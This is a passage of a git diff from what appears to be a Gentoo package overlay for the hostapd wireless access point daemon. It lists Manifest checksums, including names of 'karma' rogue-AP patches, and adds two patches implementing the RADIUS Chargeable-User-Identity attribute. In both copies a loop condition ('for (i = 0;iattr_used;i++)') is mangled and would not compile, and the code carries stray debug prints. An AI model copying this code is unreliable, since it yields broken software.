23315310f21d15863aa5f01c907d23662023853732e45ae59d454cceda9dc3ab866df45712d6538978e8cb0c053955345b0714bf998961840d87553df985311b WHIRLPOOL 158d41102872aecc2ccb0cde2826cb76041f36f360a2a0f38a78ea87f8a540c5f3b688724f86199649ae5fa32e97ff8d8a92be67398e19d51f9ba363b540f511 +AUX hostapd-0.7.3-karma.patch 17778 SHA256 28b8963c836e0208d8f621c6345e27d66ad2a8df33eec99d2505fc7980019ee8 SHA512 c4a1231ae6ed613d3218bfb30c6a95f5cbcfc67371996522131cb4effb29c6fadf3b324ef2a308dab2046fa234ad86e9b0048a2f356f2a2b6413f5d22248830f WHIRLPOOL 5272fc3e1f4d9513562604c2f324aebbc38d8ff83e4bcca5cc79ab27c35475f7ffeabe780fd7fc73cf163cbe9536e8ca44b3b3996080926dcc11a97072cd7061 +AUX hostapd-1.0-karma-0.2.patch 39202 SHA256 ce40eb1f2a205ef9ec5d0ff87c9df85a86cb21cbe016a324a9bfddb728b57685 SHA512 94e8ea5a57859063c0b8c33709dcef72392c6b8e27c5003ed9217e9756ae39936348daf480fcf829f32ce56783fb817772425ba832f6adab7561a949ea3f6421 WHIRLPOOL c1827bc5ab346ff5249d2751090b953767a6e8696b60c03aefe578c4d5bf9e990426acecbca2f7d67d1e151262ce3ea994704789b7522e365b3a1678dbb41c79 +AUX hostapd-1.0-karma.patch 15724 SHA256 9f4d853c2974607aed7accb5785df224e3abdce4baf4dee787ca45421c85ec87 SHA512 694e8e03db5e3577359b0cc5c530ef528dd2bbeb64351060113fe67ee4446495999330edc5f38c3206c8525c5f401e35ca8a3c0f372f5c8e3205172680cf7fd9 WHIRLPOOL 36f6a45310a642fb2b1c2225d560ac85b1c08074c08108682fbb638ad27f8d01858ba48a2b64ffaa01832a52185afe5c39b521635b8767abdfaefb6c84a0a903 +AUX hostapd-1.0-libnl_path_fix.patch 892 SHA256 7ec9489fed14b7f3916d0aab63e34886bcf39d07c257101df53e16ef4db2b95d SHA512 10b1db56ec2bb8a2ab04dcd50b5a0442efdd4814ef6a4effc50d0157d61fc993ebb6f2f6775566fc0341668ad314dd2d4ec4e91177d59d76c59b8ceb2bf4c2f4 WHIRLPOOL ae16d72eb649d7267191a2542c204da92493279f3d09dc9de4349ca4a8db9d7e5f46d3d824e4b22900ad257e1bdcf86b26fb46eee63cbb8af48bd739b0d27ea0 +AUX hostapd-1.0-tls_length_fix.patch 1859 SHA256 bbca0422a0babbf9d7fad2b758ecddaae45624db1b2db6d7663292548e25906a SHA512 e354e9352605003101cba296735232d11ac685f1db8718e5d59b55de1b86b55144e4871afe85cae4374f52af1b42df3ebd4747e109c86e0750ef9eb5345453d7 WHIRLPOOL 6a9379b09ffb73d13ea813952e2b39b5ab90ec98a27ed211ff2904d52e346c9e6273fe99e8ae6509773597afa352d9e77f3081103c5e5c55c86e12f8176a5419 +AUX hostapd-conf.d 245 SHA256 916f4b14095ee4ec8a510391c883e9f01868e18d79a3d5cbeb13a104a793d45d SHA512 f07a6cd209eca351b8545017c5f025282c3fdea838ca3df49e362571ded43973281ce4ff83984b1299db15ea9b5c21a42cbda91432220af9146bf034e2265c30 WHIRLPOOL 0ab1dbd8e04df9e7b8ae875dfdfdcdd770e4fcb62197bb81e47588a9ecf0b8bb715adbde34f2be82d630fdd536e9f888f463dd12cab0c06220c345b0093a3dd5 +AUX hostapd-init.d 1022 SHA256 a220058841e66a11603df8e968ccc68945f01e1d11c1ae498922d0e01f6fa804 SHA512 0d9d3c69c7b4c50ab08a7633b3b0b2f770647045ba967de628c34bf37644dcae6ef8288cab0fd0508b8ee8eafa8f48bda0d378c5aadbbbc5cde9f5441f7c97a1 WHIRLPOOL e86f507cff5712ff2590f39c58989a379b81feb40cedcd424188e055ac38f772a7bb9c1089efabd6ff104078257aa2a20a82790e17b085c03264d35b6f4e274d +DIST hostapd-1.0.tar.gz 1327943 SHA256 002e9dcb7e46cf82b5900a2fcf92b30fc8cdfd32a72d7fd4488588f1c013dfcc SHA512 2f189ef3d52099ee249a96820b257f331e0cb601e89dc01c583ec697d5e9a68f6b80c2913bbb4b37f18dc4a218f34ed9deb0357d55509de9d0f58dd60df33a8b WHIRLPOOL 79f0fd8b7f256d69771f8b022e74ee9908a6a613c875392cf151bdada86c077bbf8e88213547efa64c240daf9fb5e5f9bffe2fa5f7f98d5ca27d5d7058f5995a +EBUILD hostapd-1.0-r4.ebuild 5519 SHA256 c911846537d95e6ce101988af1157ec772d03ce34da0ec6aa657580e4b497852 SHA512 7e01750d68513e33c0ee8848dd6ee851a32cfb500aa0cfae802b7aabaf86b32c2992b229f1f94f345ecc8dc0b4f220483f4b05f9f87b89b6fca8d37b6af0543b WHIRLPOOL 5dffe8e9070db5c2d71b4df1cedf52a7bf3f57308f76b4a13d2c11f6083c0e611c42c389ba9a75e4d15dba93534d18054a4b662b7223cf278de45e3362ca00cd +EBUILD hostapd-1.0-r5.ebuild 5523 SHA256 61d713f72dae5f93b4cdaf9328edc29bb589ac67221b7ca220e544ae44abebac SHA512 ec9d9a96dcc3ea31529c827fbbe0095fb2e14125c1c35820a588352ecd44c7cef4ce6e590773294501f4d79e7d5ca0ebd2dc3cdf29e221bfc10bab19231d26f8 WHIRLPOOL ba48f2800633aaeb903cacca4830254b80a79079bc89333555dca325654ba94dc74af0e8c83e99f1d0b19c41cdd902a7b209c32dc6c618ed012460c0a037080b +MISC ChangeLog 20312 SHA256 4a1673cde56f1b7ea1dfd20f0ac702ad3e7e916b84cfdf4f5aa0448d01b13659 SHA512 1c03ba7921beb21500e160aa5abfb867967777f0c4a36e220524bde419a30663a03d38b757c97405a88e1a5a2baf91e27b8022514ae99bdd1b4768ad520ec15e WHIRLPOOL 3c0df927502c29770fcac11fad0a5c655ff05674fc7444fef1e4a68cdbb55b1690efd3b89d3240a978f045d33029be036961a44095173660cfe4d20c3a05918b +MISC metadata.xml 752 SHA256 78c8bab11c00f4988d677b1f4bf5a66c3221c0f9a3c46cfaf333a8857f250662 SHA512 c9e8749a721896e4b91ee76b9008e8a3e0d58496d804a6ce103fa501ccd0322b18b28f69432babc506a4c97a22c993da11c34946d6b44517b3cbb45f80bf6bde WHIRLPOOL c8cc369fa5d5725617c4143053bef31f34fdc40b9a7c36a082765d5e9afcd12f5b45d567e7ea3e2431dfbbf3378daf05b73aead94978e650e012652e1928d7aa diff --git a/net-wireless/hostapd/files/cui-20120417.patch b/net-wireless/hostapd/files/cui-20120417.patch new file mode 100644 index 00000000..702f55c4 --- /dev/null +++ b/net-wireless/hostapd/files/cui-20120417.patch @@ -0,0 +1,451 @@ +diff -rupN hostapd-0.7.3/src/ap/accounting.c src/ap/accounting.c +--- hostapd-0.7.3/src/ap/accounting.c 2010-09-07 08:43:39.000000000 -0700 ++++ src/ap/accounting.c 2011-09-06 21:01:36.000000000 -0700 +@@ -24,6 +24,7 @@ + #include "ap_config.h" + #include "sta_info.h" + #include "accounting.h" ++/*#include "eapol_auth/eapol_auth_sm_i.h"*/ + + + /* Default interval in seconds for polling TX/RX octets from the driver if +@@ -43,7 +44,10 @@ static struct radius_msg * accounting_ms + char buf[128]; + u8 *val; + size_t len; ++ u8 *cui; /*Define CUI Attribute*/ ++ size_t cui_len; /*Define CUI Attribute length*/ + int i; ++ struct eapol_state_machine *sm = sta->eapol_sm; + + msg = radius_msg_new(RADIUS_CODE_ACCOUNTING_REQUEST, + radius_client_get_id(hapd->radius)); +@@ -82,7 +86,9 @@ static struct radius_msg * accounting_ms + + if (sta) { + val = ieee802_1x_get_identity(sta->eapol_sm, &len); ++ printf("GOT ID\n"); + if (!val) { ++ + os_snprintf(buf, sizeof(buf), RADIUS_ADDR_FORMAT, + MAC2STR(sta->addr)); + val = (u8 *) buf; +@@ -94,6 +100,30 @@ static struct radius_msg * accounting_ms + printf("Could not add User-Name\n"); + goto fail; + } ++ ++ ++ /*Check if the CUI attribute is set, if so returns the TRUE or FALSE accordingly**************/ ++ if (getSetCui(sta->eapol_sm)){ ++ cui=get_CUI (sta->eapol_sm, &cui_len); ++ printf("GOT CUI\n"); ++ ++ if (!cui) { ++ ++ os_snprintf(buf, sizeof(buf), RADIUS_ADDR_FORMAT, ++ MAC2STR(sta->addr)); ++ cui = (u8 *) buf; ++ cui_len = os_strlen(buf); ++ } ++ if (!radius_msg_add_attr(msg, RADIUS_ATTR_CHARGEABLE_USER_IDENTITY, cui, ++ cui_len)) { /*Add CUI attribute to the Accounting Request Message*/ ++ printf("Could not add CUI\n"); ++ goto fail; ++ } ++ /********************/ ++ } ++ /*else { */ ++ /* printf ("PROBLEM IN IF\n");*/ ++ /*}*/ + } + + if (hapd->conf->own_ip_addr.af == AF_INET && +diff -rupN hostapd-0.7.3/src/ap/accounting.h src/ap/accounting.h +--- hostapd-0.7.3/src/ap/accounting.h 2010-09-07 08:43:39.000000000 -0700 ++++ src/ap/accounting.h 2011-07-25 19:26:06.000000000 -0700 +@@ -22,6 +22,7 @@ static inline void accounting_sta_start( + { + } + ++ + static inline void accounting_sta_stop(struct hostapd_data *hapd, + struct sta_info *sta) + { +diff -rupN hostapd-0.7.3/src/ap/ieee802_1x.c src/ap/ieee802_1x.c +--- hostapd-0.7.3/src/ap/ieee802_1x.c 2010-09-07 08:43:39.000000000 -0700 ++++ src/ap/ieee802_1x.c 2011-09-06 20:59:54.000000000 -0700 +@@ -899,6 +899,7 @@ void ieee802_1x_new_station(struct hosta + * re-authentication without having to wait for the + * Supplicant to send EAPOL-Start. + */ ++ printf("REAUTHENTICATION-EAPOL"); + sta->eapol_sm->reAuthenticate = TRUE; + } + eapol_auth_step(sta->eapol_sm); +@@ -1138,6 +1139,68 @@ static void ieee802_1x_update_sta_identi + sm->identity_len = len; + } + ++/* This method is used to Set the CUI attribute Value**************************************/ ++static void set_cui(struct hostapd_data *hapd, ++ struct sta_info *sta, ++ struct radius_msg *msg) ++ ++{ ++ u8 *buf,*cui_identity; ++ size_t len; ++ struct eapol_state_machine *sm = sta->eapol_sm; ++ ++ if (sm == NULL) ++ return; ++ ++ if (radius_msg_get_attr_ptr(msg, RADIUS_ATTR_CHARGEABLE_USER_IDENTITY, &buf, &len, ++ NULL) < 0) ++ return; ++ cui_identity = os_malloc(len + 1); ++ if (cui_identity == NULL) ++ return; ++ os_memcpy(cui_identity, buf, len); ++ cui_identity[len] = '\0'; ++ ++ sm->cui = cui_identity; ++ sm->cui_len = len; ++ printf(" SET CUI %s",(char *) cui_identity); ++ ++ ++} ++ ++ ++/* **************************************/ ++ ++/*check CUI attribute is available in Access Accept */ ++static void check_cuiAttr (struct radius_msg *msg,struct sta_info *sta, struct hostapd_data *hapd) ++{ ++ ++ struct eapol_state_machine *sm = sta->eapol_sm; /*Define a pointer to eapol_state_machine*/ ++ ++ ++ size_t i; ++ ++ for (i = 0;iattr_used;i++) ++ { struct radius_attr_hdr *attr = radius_get_attr_hdr(msg, i); ++ if (attr->type == RADIUS_ATTR_CHARGEABLE_USER_IDENTITY) /*check CUI attribute is availabe in Access-Accept packet*/ ++ { ++ printf("CUI Attribute is Available"); ++ sm->cuiAvailable = TRUE; ++ set_cui(hapd, sta, msg); ++ break; ++ ++ } ++ else { ++ sm->cuiAvailable = FALSE; ++ printf ("CUI is not available in this packet"); ++ ++ } ++ ++ ++ } ++ ++} ++ + + struct sta_id_search { + u8 identifier; +@@ -1298,6 +1361,8 @@ ieee802_1x_receive_auth(struct radius_ms + shared_secret_len); + ieee802_1x_store_radius_class(hapd, sta, msg); + ieee802_1x_update_sta_identity(hapd, sta, msg); ++ /*set_cui(hapd, sta, msg);*/ ++ check_cuiAttr (msg,sta,hapd); + if (sm->eap_if->eapKeyAvailable && + wpa_auth_pmksa_add(sta->wpa_sm, sm->eapol_key_crypt, + session_timeout_set ? +@@ -1777,6 +1842,27 @@ u8 * ieee802_1x_get_identity(struct eapo + } + + ++ ++u8 * get_CUI(struct eapol_state_machine *sm, size_t *len) /* return CUI Attribute Value ******************************/ ++{ ++ if (sm == NULL || sm->identity == NULL) ++ return NULL; ++ ++ *len = sm->cui_len; ++ return sm->cui; ++} ++ ++Boolean getSetCui (struct eapol_state_machine *sm) /*Check if the CUI value is set or not, and returns TRUE or FALSE accordingly*/ ++ ++{ if (sm->cuiAvailable) ++ return TRUE; ++else ++ return FALSE; ++ } ++ ++/*****************************/ ++ ++ + u8 * ieee802_1x_get_radius_class(struct eapol_state_machine *sm, size_t *len, + int idx) + { +diff -rupN hostapd-0.7.3/src/ap/ieee802_1x.h src/ap/ieee802_1x.h +--- hostapd-0.7.3/src/ap/ieee802_1x.h 2010-09-07 08:43:39.000000000 -0700 ++++ src/ap/ieee802_1x.h 2011-07-25 19:43:10.000000000 -0700 +@@ -69,6 +69,13 @@ void ieee802_1x_deinit(struct hostapd_da + int ieee802_1x_tx_status(struct hostapd_data *hapd, struct sta_info *sta, + const u8 *buf, size_t len, int ack); + u8 * ieee802_1x_get_identity(struct eapol_state_machine *sm, size_t *len); ++ ++/** definig CUI get function */ ++u8 * get_CUI(struct eapol_state_machine *sm, size_t *len); ++Boolean getSetCui (struct eapol_state_machine *sm); ++ ++/*********************/ ++ + u8 * ieee802_1x_get_radius_class(struct eapol_state_machine *sm, size_t *len, + int idx); + const u8 * ieee802_1x_get_key(struct eapol_state_machine *sm, size_t *len); +diff -rupN hostapd-0.7.3/src/ap/pmksa_cache_auth.c src/ap/pmksa_cache_auth.c +--- hostapd-0.7.3/src/ap/pmksa_cache_auth.c 2010-09-07 08:43:39.000000000 -0700 ++++ src/ap/pmksa_cache_auth.c 2011-09-06 22:42:00.000000000 -0700 +@@ -142,6 +142,20 @@ static void pmksa_cache_from_eapol_data( + } + } + ++/*set to cui in to cache*/ ++ ++ if (eapol ->cui) { ++ ++ entry ->cui = os_malloc(eapol->cui_len); /*Allocate memory for CUI attribute*/ ++ if (entry->cui) { ++ entry->cui_len = eapol->cui_len; ++ os_memcpy(entry->cui, eapol->cui, ++ eapol->cui_len); ++ } ++ } ++ ++/*set to cui in to cache*/ ++ + #ifndef CONFIG_NO_RADIUS + radius_copy_class(&entry->radius_class, &eapol->radius_class); + #endif /* CONFIG_NO_RADIUS */ +@@ -169,6 +183,25 @@ void pmksa_cache_to_eapol_data(struct rs + eapol->identity, eapol->identity_len); + } + ++/*Added to get CUI from the cache*/ ++ ++ ++ if (entry->cui) { ++ os_free(eapol->cui); ++ ++ eapol->cui = os_malloc(entry->cui_len); ++ eapol->cuiAvailable=TRUE; ++ if (eapol->cui) { ++ eapol->cui_len = entry->cui_len; ++ os_memcpy(eapol->cui, entry->cui, ++ entry->cui_len); /*copy the CUI attribute value to EAPOL data structure*/ ++ } ++ wpa_hexdump_ascii(MSG_DEBUG, "CUIfrom PMKSA", ++ eapol->cui, eapol->cui_len); ++ } ++ ++ /*Added to get CUI from the cache*/ ++ + #ifndef CONFIG_NO_RADIUS + radius_free_class(&eapol->radius_class); + radius_copy_class(&eapol->radius_class, &entry->radius_class); +@@ -180,6 +213,7 @@ void pmksa_cache_to_eapol_data(struct rs + + eapol->eap_type_authsrv = entry->eap_type_authsrv; + ((struct sta_info *) eapol->sta)->vlan_id = entry->vlan_id; ++ printf ("GETTING CACHE ENTRY\n"); + } + + +diff -rupN hostapd-0.7.3/src/ap/pmksa_cache_auth.h src/ap/pmksa_cache_auth.h +--- hostapd-0.7.3/src/ap/pmksa_cache_auth.h 2010-09-07 08:43:39.000000000 -0700 ++++ src/ap/pmksa_cache_auth.h 2011-08-07 19:19:44.000000000 -0700 +@@ -31,6 +31,8 @@ struct rsn_pmksa_cache_entry { + + u8 *identity; + size_t identity_len; ++ u8 *cui; /* cui by me*/ ++ size_t cui_len; /*Size of the cached cui by me*/ + struct radius_class_data radius_class; + u8 eap_type_authsrv; + int vlan_id; +diff -rupN hostapd-0.7.3/src/common/ieee802_11_common.c src/common/ieee802_11_common.c +--- hostapd-0.7.3/src/common/ieee802_11_common.c 2010-09-07 08:43:39.000000000 -0700 ++++ src/common/ieee802_11_common.c 2011-07-25 17:56:38.000000000 -0700 +@@ -31,8 +31,8 @@ static int ieee802_11_parse_vendor_speci + if (elen < 4) { + if (show_errors) { + wpa_printf(MSG_MSGDUMP, "short vendor specific " +- "information element ignored (len=%lu)", +- (unsigned long) elen); ++ "information element ignored (len=%lu)", ++ (unsigned long) elen); + } + return -1; + } +diff -rupN hostapd-0.7.3/src/eapol_auth/eapol_auth_sm_i.h src/eapol_auth/eapol_auth_sm_i.h +--- hostapd-0.7.3/src/eapol_auth/eapol_auth_sm_i.h 2010-09-07 08:43:39.000000000 -0700 ++++ src/eapol_auth/eapol_auth_sm_i.h 2011-09-06 20:43:46.000000000 -0700 +@@ -75,6 +75,7 @@ struct eapol_state_machine { + /* variables */ + Boolean eapolLogoff; + Boolean eapolStart; ++ Boolean cuiAvailable; /*to check CUI is available in AcessAccept*/ + PortTypes portMode; + unsigned int reAuthCount; + /* constants */ +@@ -159,6 +160,8 @@ struct eapol_state_machine { + u8 last_eap_id; /* last used EAP Identifier */ + u8 *identity; + size_t identity_len; ++ u8 *cui; /*Define CUI Attribute*/ ++ size_t cui_len; /*Define CUI attribute length*/ + u8 eap_type_authsrv; /* EAP type of the last EAP packet from + * Authentication server */ + u8 eap_type_supp; /* EAP type of the last EAP packet from Supplicant */ +diff -rupN hostapd-0.7.3/src/radius/radius.c src/radius/radius.c +--- hostapd-0.7.3/src/radius/radius.c 2010-09-07 08:43:39.000000000 -0700 ++++ src/radius/radius.c 2011-07-25 18:41:30.000000000 -0700 +@@ -24,16 +24,16 @@ + /** + * struct radius_msg - RADIUS message structure for new and parsed messages + */ +-struct radius_msg { ++//struct radius_msg { + /** + * buf - Allocated buffer for RADIUS message + */ +- struct wpabuf *buf; ++ //struct wpabuf *buf; + + /** + * hdr - Pointer to the RADIUS header in buf + */ +- struct radius_hdr *hdr; ++ //struct radius_hdr *hdr; + + /** + * attr_pos - Array of indexes to attributes +@@ -41,18 +41,18 @@ struct radius_msg { + * The values are number of bytes from buf to the beginning of + * struct radius_attr_hdr. + */ +- size_t *attr_pos; ++ //size_t *attr_pos; + + /** + * attr_size - Total size of the attribute pointer array + */ +- size_t attr_size; ++ //size_t attr_size; + + /** + * attr_used - Total number of attributes in the array + */ +- size_t attr_used; +-}; ++ //size_t attr_used; ++//}; + + + struct radius_hdr * radius_msg_get_hdr(struct radius_msg *msg) +@@ -66,7 +66,7 @@ struct wpabuf * radius_msg_get_buf(struc + return msg->buf; + } + +- ++/* + static struct radius_attr_hdr * + radius_get_attr_hdr(struct radius_msg *msg, int idx) + { +@@ -74,7 +74,7 @@ radius_get_attr_hdr(struct radius_msg *m + (wpabuf_mhead_u8(msg->buf) + msg->attr_pos[idx]); + } + +- ++*/ + static void radius_msg_set_hdr(struct radius_msg *msg, u8 code, u8 identifier) + { + msg->hdr->code = code; +diff -rupN hostapd-0.7.3/src/radius/radius.h src/radius/radius.h +--- hostapd-0.7.3/src/radius/radius.h 2010-09-07 08:43:39.000000000 -0700 ++++ src/radius/radius.h 2011-07-25 18:44:42.000000000 -0700 +@@ -21,6 +21,45 @@ + #pragma pack(push, 1) + #endif /* _MSC_VER */ + ++/************************/ ++struct radius_msg { ++ /** ++ * buf - Allocated buffer for RADIUS message ++ */ ++ struct wpabuf *buf; ++ ++ /** ++ * hdr - Pointer to the RADIUS header in buf ++ */ ++ struct radius_hdr *hdr; ++ ++ /** ++ * attr_pos - Array of indexes to attributes ++ * ++ * The values are number of bytes from buf to the beginning of ++ * struct radius_attr_hdr. ++ */ ++ size_t *attr_pos; ++ ++ /** ++ * attr_size - Total size of the attribute pointer array ++ */ ++ size_t attr_size; ++ ++ /** ++ * attr_used - Total number of attributes in the array ++ */ ++ size_t attr_used; ++}; ++ ++ ++ ++ ++/***********************/ ++ ++ ++ ++ + struct radius_hdr { + u8 code; + u8 identifier; +@@ -201,6 +240,10 @@ void radius_msg_finish_acct(struct radiu + size_t secret_len); + struct radius_attr_hdr * radius_msg_add_attr(struct radius_msg *msg, u8 type, + const u8 *data, size_t data_len); ++ ++/****************************/ ++ ++/*****************************/ + struct radius_msg * radius_msg_parse(const u8 *data, size_t len); + int radius_msg_add_eap(struct radius_msg *msg, const u8 *data, + size_t data_len); +@@ -238,7 +281,13 @@ static inline int radius_msg_add_attr_in + u32 val = htonl(value); + return radius_msg_add_attr(msg, type, (u8 *) &val, 4) != NULL; + } +- ++/**********************/ ++static struct radius_attr_hdr * radius_get_attr_hdr(struct radius_msg *msg, int idx) ++{ ++ return (struct radius_attr_hdr *) ++ (wpabuf_mhead_u8(msg->buf) + msg->attr_pos[idx]); ++} ++/**************************/ + static inline int radius_msg_get_attr_int32(struct radius_msg *msg, u8 type, + u32 *value) + { diff --git a/net-wireless/hostapd/files/cui-20120717.patch b/net-wireless/hostapd/files/cui-20120717.patch new file mode 100644 index 00000000..e6e5e8dc --- /dev/null +++ b/net-wireless/hostapd/files/cui-20120717.patch @@ -0,0 +1,451 @@ +diff -urN hostapd-1.0.orig//src/ap/accounting.c hostapd-1.0/src/ap/accounting.c +--- hostapd-1.0.orig//src/ap/accounting.c 2012-05-10 05:56:09.000000000 +0800 ++++ hostapd-1.0/src/ap/accounting.c 2012-07-17 18:40:21.000000000 +0800 +@@ -25,6 +25,7 @@ + #include "sta_info.h" + #include "ap_drv_ops.h" + #include "accounting.h" ++/*#include "eapol_auth/eapol_auth_sm_i.h"*/ + + + /* Default interval in seconds for polling TX/RX octets from the driver if +@@ -44,7 +45,10 @@ + char buf[128]; + u8 *val; + size_t len; ++ u8 *cui; /*Define CUI Attribute*/ ++ size_t cui_len; /*Define CUI Attribute length*/ + int i; ++ struct eapol_state_machine *sm = sta->eapol_sm; + + msg = radius_msg_new(RADIUS_CODE_ACCOUNTING_REQUEST, + radius_client_get_id(hapd->radius)); +@@ -83,7 +87,9 @@ + + if (sta) { + val = ieee802_1x_get_identity(sta->eapol_sm, &len); ++ printf("GOT ID\n"); + if (!val) { ++ + os_snprintf(buf, sizeof(buf), RADIUS_ADDR_FORMAT, + MAC2STR(sta->addr)); + val = (u8 *) buf; +@@ -95,6 +101,30 @@ + printf("Could not add User-Name\n"); + goto fail; + } ++ ++ ++ /*Check if the CUI attribute is set, if so returns the TRUE or FALSE accordingly**************/ ++ if (getSetCui(sta->eapol_sm)){ ++ cui=get_CUI (sta->eapol_sm, &cui_len); ++ printf("GOT CUI\n"); ++ ++ if (!cui) { ++ ++ os_snprintf(buf, sizeof(buf), RADIUS_ADDR_FORMAT, ++ MAC2STR(sta->addr)); ++ cui = (u8 *) buf; ++ cui_len = os_strlen(buf); ++ } ++ if (!radius_msg_add_attr(msg, RADIUS_ATTR_CHARGEABLE_USER_IDENTITY, cui, ++ cui_len)) { /*Add CUI attribute to the Accounting Request Message*/ ++ printf("Could not add CUI\n"); ++ goto fail; ++ } ++ /********************/ ++ } ++ /*else { */ ++ /* printf ("PROBLEM IN IF\n");*/ ++ /*}*/ + } + + if (hapd->conf->own_ip_addr.af == AF_INET && +diff -urN hostapd-1.0.orig//src/ap/accounting.h hostapd-1.0/src/ap/accounting.h +--- hostapd-1.0.orig//src/ap/accounting.h 2012-05-10 05:56:09.000000000 +0800 ++++ hostapd-1.0/src/ap/accounting.h 2012-07-17 18:40:21.000000000 +0800 +@@ -22,6 +22,7 @@ + { + } + ++ + static inline void accounting_sta_stop(struct hostapd_data *hapd, + struct sta_info *sta) + { +diff -urN hostapd-1.0.orig//src/ap/ieee802_1x.c hostapd-1.0/src/ap/ieee802_1x.c +--- hostapd-1.0.orig//src/ap/ieee802_1x.c 2012-05-10 05:56:09.000000000 +0800 ++++ hostapd-1.0/src/ap/ieee802_1x.c 2012-07-17 18:40:21.000000000 +0800 +@@ -966,6 +966,7 @@ + * re-authentication without having to wait for the + * Supplicant to send EAPOL-Start. + */ ++ printf("REAUTHENTICATION-EAPOL"); + sta->eapol_sm->reAuthenticate = TRUE; + } + eapol_auth_step(sta->eapol_sm); +@@ -1205,6 +1206,68 @@ + sm->identity_len = len; + } + ++/* This method is used to Set the CUI attribute Value**************************************/ ++static void set_cui(struct hostapd_data *hapd, ++ struct sta_info *sta, ++ struct radius_msg *msg) ++ ++{ ++ u8 *buf,*cui_identity; ++ size_t len; ++ struct eapol_state_machine *sm = sta->eapol_sm; ++ ++ if (sm == NULL) ++ return; ++ ++ if (radius_msg_get_attr_ptr(msg, RADIUS_ATTR_CHARGEABLE_USER_IDENTITY, &buf, &len, ++ NULL) < 0) ++ return; ++ cui_identity = os_malloc(len + 1); ++ if (cui_identity == NULL) ++ return; ++ os_memcpy(cui_identity, buf, len); ++ cui_identity[len] = '\0'; ++ ++ sm->cui = cui_identity; ++ sm->cui_len = len; ++ printf(" SET CUI %s",(char *) cui_identity); ++ ++ ++} ++ ++ ++/* **************************************/ ++ ++/*check CUI attribute is available in Access Accept */ ++static void check_cuiAttr (struct radius_msg *msg,struct sta_info *sta, struct hostapd_data *hapd) ++{ ++ ++ struct eapol_state_machine *sm = sta->eapol_sm; /*Define a pointer to eapol_state_machine*/ ++ ++ ++ size_t i; ++ ++ for (i = 0;iattr_used;i++) ++ { struct radius_attr_hdr *attr = radius_get_attr_hdr(msg, i); ++ if (attr->type == RADIUS_ATTR_CHARGEABLE_USER_IDENTITY) /*check CUI attribute is availabe in Access-Accept packet*/ ++ { ++ printf("CUI Attribute is Available"); ++ sm->cuiAvailable = TRUE; ++ set_cui(hapd, sta, msg); ++ break; ++ ++ } ++ else { ++ sm->cuiAvailable = FALSE; ++ printf ("CUI is not available in this packet"); ++ ++ } ++ ++ ++ } ++ ++} ++ + + struct sta_id_search { + u8 identifier; +@@ -1365,6 +1428,8 @@ + shared_secret_len); + ieee802_1x_store_radius_class(hapd, sta, msg); + ieee802_1x_update_sta_identity(hapd, sta, msg); ++ /*set_cui(hapd, sta, msg);*/ ++ check_cuiAttr (msg,sta,hapd); + if (sm->eap_if->eapKeyAvailable && + wpa_auth_pmksa_add(sta->wpa_sm, sm->eapol_key_crypt, + session_timeout_set ? +@@ -1859,6 +1924,27 @@ + } + + ++ ++u8 * get_CUI(struct eapol_state_machine *sm, size_t *len) /* return CUI Attribute Value ******************************/ ++{ ++ if (sm == NULL || sm->identity == NULL) ++ return NULL; ++ ++ *len = sm->cui_len; ++ return sm->cui; ++} ++ ++Boolean getSetCui (struct eapol_state_machine *sm) /*Check if the CUI value is set or not, and returns TRUE or FALSE accordingly*/ ++ ++{ if (sm->cuiAvailable) ++ return TRUE; ++else ++ return FALSE; ++ } ++ ++/*****************************/ ++ ++ + u8 * ieee802_1x_get_radius_class(struct eapol_state_machine *sm, size_t *len, + int idx) + { +diff -urN hostapd-1.0.orig//src/ap/ieee802_1x.h hostapd-1.0/src/ap/ieee802_1x.h +--- hostapd-1.0.orig//src/ap/ieee802_1x.h 2012-05-10 05:56:09.000000000 +0800 ++++ hostapd-1.0/src/ap/ieee802_1x.h 2012-07-17 18:40:21.000000000 +0800 +@@ -69,6 +69,13 @@ + int ieee802_1x_tx_status(struct hostapd_data *hapd, struct sta_info *sta, + const u8 *buf, size_t len, int ack); + u8 * ieee802_1x_get_identity(struct eapol_state_machine *sm, size_t *len); ++ ++/** definig CUI get function */ ++u8 * get_CUI(struct eapol_state_machine *sm, size_t *len); ++Boolean getSetCui (struct eapol_state_machine *sm); ++ ++/*********************/ ++ + u8 * ieee802_1x_get_radius_class(struct eapol_state_machine *sm, size_t *len, + int idx); + const u8 * ieee802_1x_get_key(struct eapol_state_machine *sm, size_t *len); +diff -urN hostapd-1.0.orig//src/ap/pmksa_cache_auth.c hostapd-1.0/src/ap/pmksa_cache_auth.c +--- hostapd-1.0.orig//src/ap/pmksa_cache_auth.c 2012-05-10 05:56:09.000000000 +0800 ++++ hostapd-1.0/src/ap/pmksa_cache_auth.c 2012-07-17 18:40:21.000000000 +0800 +@@ -142,6 +142,20 @@ + } + } + ++/*set to cui in to cache*/ ++ ++ if (eapol ->cui) { ++ ++ entry ->cui = os_malloc(eapol->cui_len); /*Allocate memory for CUI attribute*/ ++ if (entry->cui) { ++ entry->cui_len = eapol->cui_len; ++ os_memcpy(entry->cui, eapol->cui, ++ eapol->cui_len); ++ } ++ } ++ ++/*set to cui in to cache*/ ++ + #ifndef CONFIG_NO_RADIUS + radius_copy_class(&entry->radius_class, &eapol->radius_class); + #endif /* CONFIG_NO_RADIUS */ +@@ -169,6 +183,25 @@ + eapol->identity, eapol->identity_len); + } + ++/*Added to get CUI from the cache*/ ++ ++ ++ if (entry->cui) { ++ os_free(eapol->cui); ++ ++ eapol->cui = os_malloc(entry->cui_len); ++ eapol->cuiAvailable=TRUE; ++ if (eapol->cui) { ++ eapol->cui_len = entry->cui_len; ++ os_memcpy(eapol->cui, entry->cui, ++ entry->cui_len); /*copy the CUI attribute value to EAPOL data structure*/ ++ } ++ wpa_hexdump_ascii(MSG_DEBUG, "CUIfrom PMKSA", ++ eapol->cui, eapol->cui_len); ++ } ++ ++ /*Added to get CUI from the cache*/ ++ + #ifndef CONFIG_NO_RADIUS + radius_free_class(&eapol->radius_class); + radius_copy_class(&eapol->radius_class, &entry->radius_class); +@@ -180,6 +213,7 @@ + + eapol->eap_type_authsrv = entry->eap_type_authsrv; + ((struct sta_info *) eapol->sta)->vlan_id = entry->vlan_id; ++ printf ("GETTING CACHE ENTRY\n"); + } + + +diff -urN hostapd-1.0.orig//src/ap/pmksa_cache_auth.h hostapd-1.0/src/ap/pmksa_cache_auth.h +--- hostapd-1.0.orig//src/ap/pmksa_cache_auth.h 2012-05-10 05:56:09.000000000 +0800 ++++ hostapd-1.0/src/ap/pmksa_cache_auth.h 2012-07-17 18:40:21.000000000 +0800 +@@ -31,6 +31,8 @@ + + u8 *identity; + size_t identity_len; ++ u8 